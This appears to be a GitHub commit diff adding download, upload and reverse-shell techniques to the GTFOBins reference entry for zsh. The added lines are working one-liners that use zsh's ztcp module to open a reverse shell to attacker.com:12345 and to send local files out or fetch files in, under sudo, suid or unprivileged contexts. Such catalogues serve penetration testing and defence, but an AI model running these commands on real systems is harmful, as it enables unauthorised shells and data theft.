Skip to content

Commit 4fb5248

Browse files
committed
Merge #561
2 parents a8bc4fb + affa72a commit 4fb5248

File tree

1 file changed

+26
-0
lines changed

1 file changed

+26
-0
lines changed

_gtfobins/zsh

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,14 @@
11
---
22
functions:
3+
download:
4+
- binary: false
5+
code: |-
6+
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
7+
contexts:
8+
sudo:
9+
suid:
10+
unprivileged:
11+
sender: tcp-server
312
file-read:
413
- binary: false
514
code: |-
@@ -31,11 +40,28 @@ functions:
3140
suid:
3241
unprivileged:
3342
from: less
43+
reverse-shell:
44+
- code: |-
45+
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
46+
contexts:
47+
sudo:
48+
suid:
49+
unprivileged:
50+
listener: tcp-server
3451
shell:
3552
- code: |-
3653
zsh
3754
contexts:
3855
sudo:
3956
suid:
4057
unprivileged:
58+
upload:
59+
- binary: false
60+
code: |-
61+
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
62+
contexts:
63+
sudo:
64+
suid:
65+
unprivileged:
66+
receiver: tcp-server
4167
...

0 commit comments

Comments
 (0)